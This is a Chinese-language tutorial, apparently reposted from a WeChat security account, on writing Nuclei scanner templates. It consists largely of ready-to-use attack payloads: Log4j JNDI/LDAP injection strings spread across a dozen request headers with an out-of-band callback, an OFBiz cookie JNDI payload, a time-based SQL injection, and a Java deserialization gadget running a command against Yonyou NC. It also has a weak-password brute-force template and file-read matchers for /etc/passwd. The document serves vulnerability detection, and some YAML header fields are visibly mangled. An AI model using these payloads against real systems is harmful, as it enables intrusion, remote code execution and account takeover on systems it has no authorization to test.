0x01Nuclei技巧
1.范例,模板
id: base
info:
name: base
author: msk
description: 描述漏洞基本情况
severity: info 漏洞等级
reference: https://www.exploit-db.com/ghdb/6814 漏洞来源
tags: detect 标签
metadata:
veified: true
fofa语法 :
鹰图语法 :
http:
raw:
|
GET /xxxx/xxx HTTP/1.1
Host: {{Hostname}}
Connection: keep-alive
Cookie: OFBiz.Visitor=${jndi:ldap://{{interactsh-url}}}
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 :
application/json;charset=UTF-8 :
1 :
matchers:
type: dsl
dsl:
'status_code==200 && contains_all(body,"xxx1","xxx2")' # 匹配多个Responses中关键词
2.针对文件读取漏洞如何匹配
读取 etc/passwd
matchers:
- type: regex
regex:
- "root:.*:0:0:"
part: body
读取 c:/windows/win.ini
matchers:
type: regex
regex:
"bit app support"
part: body
- |
GET {{replace(filepath,"http://null","")}} HTTP/1.1
Host: {{Hostname}}
Accept: text/*
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 :
matchers:
type: dsl
dsl:
'status_code_2==200 && contains_all(body_2,"12321")'
extractors:
type: json
internal: true
name: filepath
json:
'.visitRoot'
这里是提取json键值对中visitRoot对应的值:http://null/enterdoc/EnterMail/20****17/20******095484/xxx.jsp,但是我们不需要返回的"http://null"值,这个时候我们就需要把这个值替换为空{{replace(filepath,"http://null","")}},剩下的就是我们想要的路径了
2)当返回的不是json格式,但是有根据时间变化的变量我们如何编写呢
|
GET /templates/master/pc/fangmeilele/UploadImage/titleimg/{{filename}} HTTP/1.1
Host: {{Hostname}}
Accept: text/*
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 :
matchers:
type: dsl
dsl:
'status_code_2==200 && contains_all(body_2,"12321")'
extractors:
type: regex
internal: true
name: filename
part: body
regex:
"[0-9]{14}_[0-9]{4}.aspx" # 这块就只进行数字匹配
3)xpath提取
matchers:
type: xpath
part: body
xpath:
"/html/head/title[contains(text(), 'Example Domain')]"
以泛微为例 我想取 href的值,取出来的值并进行访问
- |+
GET /# HTTP/1.1
Host: {{Hostname}}
|+
GET /{{fname}} HTTP/1.1
Host: {{Hostname}}
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 :
extractors:
type: xpath
part: body
xpath:
'//link[@rel="stylesheet"]/@href'
name: fname
internal: true
matchers:
type: dsl
dsl:
"contains_all(body_2, 'play-state') && status_code==200"
xpath提取格式为://link[@rel="stylesheet"]/@href ,先确认要提取的标签//link, 在确认唯一值[@rel="stylesheet"],剩下@href为我们需要的值
4.全局请求头
当目标采用 Basic Auth , 可以直接在调用的命令中加上全局请求头,而不用修改每个模板
nuclei -u https://target.com -H "Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ=="
5.弱口令爆破
requests:
raw:
|+
POST /auth/login?password={{password}}&username={{username}} HTTP/1.1
Host: {{Hostname}}
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 :
Accept: application/json, text/plain, */*
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 :
gzip, deflate :
Connection: close
0 :
payloads:
username:
root
admin
password:
123456
admin
admin123
attack: pitchfork
and # 多个匹配,相当于都满足 :
matchers:
type: word
part: body
words:
'"msg":"success"'
type: status
status:
200
6.针对延时注入
- |
POST /xxxx.php HTTP/1.1
Host: {{Hostname}}
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 :
gzip, deflate :
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
application/x-www-form-urlencoded :
zh-CN,zh;q=0.9,en;q=0.8 :
id=1'+AND+(SELECT+7679+FROM+(SELECT(SLEEP(6)))ozYR)+AND+'fqDZ'='fqDZ
# 此模板是基于DSL的持续时间匹配器的示例,当响应时间与定义的持续时间(在这种情况下为6或大于6秒)匹配时,返回true。
matchers:
type: dsl
dsl:
'duration>=6'
7.针对反序列化漏洞
1)以用友nc 反序列化为例
POST /servlet/~baseapp/nc.message.bs.NCMessageServlet HTTP/1.1
Host: {{Hostname}}
X-Forwarded-For: 127.0.0.10
X-Originating-IP: 127.0.0.10
X-Remote-Addr: 127.0.0.10
X-Remote-IP: 127.0.0.10
{{generate_java_gadget("commons-collections3.1", "ping {{interactsh-url}}", "raw")}}
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
2)log4j 检测
- |
POST / HTTP/1.1
Host: {{Hostname}}
{{log4j}}
payloads:
log4j:
- 'X-Client-IP: ${jndi:ldap://{{interactsh-url}}/info}'
- 'X-Remote-IP: ${jndi:ldap://{{interactsh-url}}/info}'
- 'X-Remote-Addr: ${jndi:ldap://{{interactsh-url}}/info}'
- 'X-Forwarded-For: ${jndi:ldap://{{interactsh-url}}/info}'
- 'X-Originating-IP: ${jndi:ldap://{{interactsh-url}}/info}'
- 'User-Agent: ${jndi:ldap://{{interactsh-url}}/info}'
- 'Referer: ${jndi:ldap://{{interactsh-url}}/info}'
- 'CF-Connecting_IP: ${jndi:ldap://{{interactsh-url}}/info}'
- 'True-Client-IP: ${jndi:ldap://{{interactsh-url}}/info}'
- 'X-Forwarded-For: ${jndi:ldap://{{interactsh-url}}/info}'
- 'Originating-IP: ${jndi:ldap://{{interactsh-url}}/info}'
- 'X-Real-IP: ${jndi:ldap://{{interactsh-url}}/info}'
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
原文始发于微信公众号(thelostworld):[Nuclei-04]Nuclei实际使用中一些常用模板
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论